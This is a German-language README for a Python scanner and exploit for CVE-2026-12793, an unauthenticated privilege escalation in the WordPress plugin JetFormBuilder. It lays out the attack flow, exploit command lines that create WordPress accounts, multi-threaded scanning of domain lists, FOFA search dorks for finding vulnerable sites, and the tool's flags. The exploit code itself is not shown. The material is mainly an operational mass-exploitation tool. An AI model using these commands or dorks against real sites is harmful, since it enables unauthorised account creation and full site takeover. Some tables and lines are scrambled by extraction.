
Python-PoC-Scanner und Exploit für CVE-2026-12793, eine unauthentifizierte Rechteausweitung in JetFormBuilder <=3.6.2, die WordPress-Admin-Konten erstellt.
Proof-of-Concept-Scanner und Exploit für CVE-2026-12793 im WordPress-Plugin JetFormBuilder — Dynamic Blocks Form Builder (Crocoblock).
| CVE | CVE-2026-12793 |
| Plugin | jetformbuilder |
| Betroffen | ≤ 3.6.2 |
| Behoben in | 3.6.2.1+ |
| CVSS | 9.8 Kritisch |
| Auth | Unauthentifiziert |
| CWE | CWE-269 — Unsachgemäße Rechteverwaltung |
| Forscher | daroo (Wordfence) |
Das Plugin überprüft nicht, ob _jet_engine_booking_form_id auf einen veröffentlichten Custom Post Type jet-form-builder verweist, bevor der Blockinhalt des referenzierten Beitrags als Formularschema geladen und Post-Submit-Aktionen ausgeführt werden.
Ein unauthentifizierter Angreifer kann eine manipulierte AJAX-Anfrage senden, um die Aktion Register User (wp_insert_user) auszulösen und ein neues WordPress-Konto zu erstellen. Wenn das Zielformular mit einer erhöhten Rolle (z. B. administrator) fehlkonfiguriert ist, führt dies zur vollständigen Übernahme der Website.
1. Detect JetFormBuilder + version ≤ 3.6.2 (readme.txt)
2. Discover form ID from public pages (data-form-id, /register/, etc.)
3. POST to referer page with ?jet_form_builder_submit=submit&method=ajax
4. Register User action runs → new WP user created
Block_Helper::is_valid_form_post() — nur veröffentlichte jet-form-builder CPT akzeptiertForm_Handler::set_form_id() lehnt ungültige Formular-IDs abwp_insert_user / wp_update_user als Callbacks blockiert)requestspip install requests urllib3
python poc.py -u https://target.example --mode check
python poc.py --list domains.txt --mode check --threads 30 --quiet
Eingabeformate: eine Domain/URL pro Zeile, FOFA CSV (host,domain) oder candidates.jsonl aus einem vorherigen Lauf.
python poc.py -u https://target.example --mode exploit \
--form-id 1858 \
--page-url /register/ \
--fields login=cadastro_nome,email=cadastro_mail,password=cadastro_senha \
--username myuser \
--email [email protected] \
--password 'SecurePass123!' \
--verify
python poc.py --list candidates.jsonl --mode exploit --threads 10 --verify
| Datei | Inhalt |
|---|---|
hits.txt |
{
"target": "https://target.example",
"version": "3.3.3",
"form_id": 1858,
"page_url": "https://target.example/register/",
"fields": {
"login": "user_login",
"email": "user_email",
"password": "user_pass"
}
}
Automatisch erkannte Feldnamen sind heuristisch. Vor dem Exploit immer mit
--fieldsüberprüfen und überschreiben.
body="/wp-content/plugins/jetformbuilder/"
body="jet-form-builder" && body="wp-content"
header="/wp-content/plugins/jetformbuilder/"
title="WordPress" && body="data-form-id"
Versionsprüfung:
/wp-content/plugins/jetformbuilder/readme.txt
Achten Sie auf Stable tag: ≤ 3.6.2.
Dieses Tool wird ausschließlich für autorisiertes Sicherheitstesting und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch.
MIT
| Flag | Beschreibung |
|---|
-u, --url | Einzelne Ziel-URL |
--list | Zieldatei |
--mode | check (Standard) oder exploit |
--form-id | Bekannte JetFormBuilder-Formular-Post-ID |
--page-url | Seite, die das Formular einbettet (Referer), z. B. /register/ |
--fields | Feldzuordnung: login=x,email=y,password=z |
--paths | Zusätzliche Pfade zum Crawlen nach Formularen |
--username / --email / --password | Anmeldedaten für Exploit (zufällig, falls weggelassen) |
--verify | Konto nach dem Absenden über wp-login.php verifizieren |
-j, --threads | Worker-Threads (Standard: 20) |
--timeout | HTTP-Timeout in Sekunden (Standard: 20) |
--proxy | HTTP(S)-Proxy-URL |
--output | Vollständiges JSONL-Log (Standard: cve_2026_12793_results.jsonl) |
--vuln-list | Trefferliste (Standard: hits.txt) |
--candidates-list | Kandidaten-JSONL (Standard: candidates.jsonl) |
-q, --quiet | Nur Fortschrittsausgabe |
| Verwundbare / exploitierte Ziel-URLs |
candidates.jsonl | Ziele mit erreichbarer Register-User-Sonde (form_id, page_url, fields) |
cve_2026_12793_results.jsonl | Vollständige JSON-Ergebnisse pro Ziel |